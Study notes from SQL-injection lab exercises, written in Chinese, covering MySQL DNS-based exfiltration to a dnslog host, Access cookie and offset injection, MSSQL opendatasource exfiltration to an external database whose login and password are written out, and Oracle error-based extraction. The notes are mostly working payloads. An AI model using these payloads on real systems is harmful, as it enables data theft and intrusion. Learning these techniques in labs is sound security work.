MYSQL 注入 - Dns注入

前置知识

1.dnslog

1
用来记录dns被解析的信息

2.dns注入思路

进行注入攻击时,页面无正常回显,使用第三方dnslog平台,通过记录dns解析的信息外带注入数据,将盲注转化成显错注入。

靶场实践

判断是否存在注入攻击时遇到waf

image-20231223171656439

使用参数污染进行绕过

构造

1
id=2/*&id=1 and sleep(3) -- a*/ //页面延时响应,判断存在注入点

image-20231223171846777

爆库名

构造

1
id=2/*&id=1 and (select load_file(concat("\\\\",database(),".zlmwoy.dnslog.cn\\1.txt"))) -- a*/ 

image-20231223173119274

爆表名

构造

1
2
3
4
id=2/*&id=1 and (select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema=database() limit 0,1),".zlmwoy.dnslog.cn\\1.txt"))) -- a*/      		//得到表名admin


id=2/*&id=1 and (select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema=database() limit 1,1),".zlmwoy.dnslog.cn\\1.txt"))) -- a*/ //得到表名news

image-20231223173427337

爆字段

构造

1
2
3
4
5
6
id=2/*&id=1 and (select load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1),".zlmwoy.dnslog.cn\\1.txt"))) -- a*/				//查到字段id


id=2/*&id=1 and (select load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1),".zlmwoy.dnslog.cn\\1.txt"))) -- a*/ //查到字段username

id=2/*&id=1 and (select load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1),".zlmwoy.dnslog.cn\\1.txt"))) -- a*/ //查到字段password

image-20231223174003084

查看数据

构造

1
id=2/*&id=1 and (select load_file(concat("\\\\",(select password from admin limit 0,1),".zlmwoy.dnslog.cn\\1.txt"))) -- a*/

image-20231223174422354

Access数据库cookie注入

一、什么是cookie注入?

Cookie 注入是一种安全漏洞,攻击者通过在用户的浏览器中操纵或注入恶意的 Cookie 数据,来实施攻击。

二、Access数据库与mySQL数据区的小区别

1.limit是mySQL数据库特有的语法。

2.Access数据库中无information_schema库

三、进行cookie注入时的几个函数说明

document.cookie:JavaScript 可以使用 document.cookie 属性来创建 、读取、及删除 cookie。

escape:escape() 函数可对字符串进行编码,这样就可以在所有的计算机上读取该字符串。

exists:exists运算符用于判断查询子句是否有记录,如果有一条或多条记录存在返回 True,否则返回 False。

靶场练习

点进一个网页,发现有传参

image-20240119192818822

and 被过滤

image-20240119193041760

尝试进行cookie注入

1
id=171	页面回显正常

image-20240119193318230

1
id=172 页面内容变化后端接收cookie传的参数能对页面产生影响

image-20240119193611778

1
2
id =171 and 1=1 页面正常
id =171 and 1=2 页面报错

image-20240119194313921

1
2
3
4
id=171 order by 10页面正常
id=171 order by 11页面报错

有十个字段

构造

1
id=171 and exists(select * from admin) 正常,存在admin表

构造

1
id=171 and exists(select id,password,username from)正常,存在id、password、username字段。
1
id=171 union select 1,2,3,4,5,6,7,8,9,10 from admin

判断回显点

image-20240119201237698

构造

1
id=171 union select 1,admin,3,4,5,6,password,8,9,10 from admin

image-20240119201340283

1
2
用户名:admin
密码:b9a2a2b5dffb918c

image-20240119201903492

image-20240119201934403

Access数据库偏移注入

一、什么是偏移注入?

1
偏移注入是一种注入姿势,可以根据一个较多字段的表对一个少字段的表进行偏移注入,一般是联合查询,在页面有回显点的情况下

二、使用偏移注入的场景。

1
2
在SQL注入的时候会遇到一些无法查询列名的问题
当你猜到表名无法猜到字段名的情况下,我们可以使用偏移注入来查询那张表里面的数据。

靶场练习

设置cookie为

1
id=105 //页面回显正常发现是接受cookie 传参的

猜测存在admin表

构造

1
id=105 and exist(select * from admin)

image-20240119211532298

构造

1
2
3
4
id=105 order by 26页面正常
id=105 order by 27页面报错

判断有26个字段

image-20240119212510056

只有3、5、7三个字段用偏移注入只能看前七个字段的数据

分别是

1
2
3
4
5
6
7
1.1
2.admin
3. b9a2a2b5dffb918c
4.1
5.192.168.0.21
6.2024-1-20 3:04:17
7.2003-9-25 23:13:38

构造

1
id=105 and 1=2 union select 1897987,2897987,3897987,4897987,5897987,6897987,7897987,8897987,9897987,10897987,11897987,12897987,13897987,14897987,15897987,16897987,17897987,18897987,19897987,20897987,21897987,22897987,23897987,24897987,25897987,26897987 from admin

查看源码搜索897987

发现25是隐藏回显点

image-20240119214207658

可以查到15 16字段

1
2
15.zkaq{f0e12dafb6}
16. width="450"

MSSQL数据库的反弹注入

一、什么是反弹注入

反弹注入利用opendatasource函数将查询结果外带到攻击者的数据库中

二、进行反弹注入条件

需要目标存在堆叠注入、还需要有一个部署在公网的数据库

三、MSSQL数据库的特点

  • MSSQL数据库查库名的函数是db_name()可以用此函数来判断数据库类型
  • MSSQL数据库联合查询对应的字段数及数据类型要相同(null可以与任何类型匹配)
  • sysobjects:包含MSSQL数据库的所有表名
  • xtype:指对象类型
  • id:对象标识号(每个id对应唯一表)
  • waitfor delay ‘0:0:10’ :MSSQL数据库中的延时函数

靶场练习

后面拼接

1
2
3
4
order by 3页面正常
order by 4页面报错

有3个字段

爆库名无法用函数database(),可以用db_name()

所以用的数据库是MSSQL数据库

爆表名

构造

1
union select id,name,'a' from sysobjects where xtype='U'

image-20240121001836592

爆字段名

构造

1
union select 1,name,'a' from syscolumns where id='1977058079'

image-20240121002208645

构造

1
id=1';waitfor delay '0:0:10' ; -- a

有延时存在堆叠注入

连接数据库

1
2
1';insert into opendatasource('sqloledb','server=den1.mssql8.gear.host;uid=zkaqzkaq1n;pwd=Rz7VjmvQ!6e~;database=zkaqzkaq1n;').zkaqzkaq1n.dbo.Yliken1 select id,passwd,username,token from admin; -- 1

image-20240121002236443

zkaq{e9c9e67c5}

Oracle数据库的报错注入

一、Oracle数据库的特点

  • Oracle 很死板 非常讲究语法格式
  • Oracle数据库中库的概念被弱化 用户被强化。一个用户代表一个库
  • Oracle数据库中存在一个虚表——Dual 表。dual是Oracle的虚拟表,用来构成select的语法规则

二、相关函数

rownum:rownum是Oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,返回的第二行分配的是2,这个为字段可以用于限制返回查询的总行数,且rownum不可以以任何表的名称作为前缀。

all_tables : 当前用户有权限的表的信息

user_tables: 当前用户名下的表的信息

ALL_ALL_TABLES:某一用户拥有的或有访问权限的对象和表

USER_ALL_TABLES:某一用户所拥有的对象和表

ctxsys.drithsx.sn:用于处理文本,也会出现参数错误返回异常

all_tab_columns :某一用户拥有的或有访问权限字段

user_tab_columns: 查询出当前用户的字段

靶场练习

1、判断是否存在注入点

1
2
3
拼接and 1=1 页面正常
拼接and 1=2 页面报错
存在注入点

image-20240121203343909

image-20240121203332622

2、判断字段数

1
2
拼接order by 4页面正常
拼接order by 5页面报错

image-20240121203454130

image-20240121203502654

3、判断回显点

1
拼接and 1=2 union select null,null,null,null from dual

image-20240121203742800

发现只有第四个有回显,且为int型

3、利用报错来爆表

1
2
3
and 1=ctxsys.drithsx.sn(1,(select table_name from (select table_name,rownum n from user_tables) where n=1))
and 1=ctxsys.drithsx.sn(1,(select table_name from (select table_name,rownum n from user_tables) where n=2))
and 1=ctxsys.drithsx.sn(1,(select table_name from (select table_name,rownum n from user_tables) where n=3))

image-20240121204819810

image-20240121204857056

image-20240121204914412

4、爆字段

1
2
and 1=ctxsys.drithsx.sn(1,(select column_name from (select column_name,rownum n from user_tab_columns where table_name='ADMIN') where n=1))
and 1=ctxsys.drithsx.sn(1,(select column_name from (select column_name,rownum n from user_tab_columns where table_name='ADMIN') where n=2))

image-20240121205342649

image-20240121205404021

5、查

1
2
3
and 1=ctxsys.drithsx.sn(1,(select UPASS from (select UPASS,rownum n from ADMIN) where n=1))
and 1=ctxsys.drithsx.sn(1,(select UPASS from (select UPASS,rownum n from ADMIN) where n=2))
and 1=ctxsys.drithsx.sn(1,(select UPASS from (select UPASS,rownum n from ADMIN) where n=3))

image-20240121205734455

image-20240121205749928

image-20240121205807204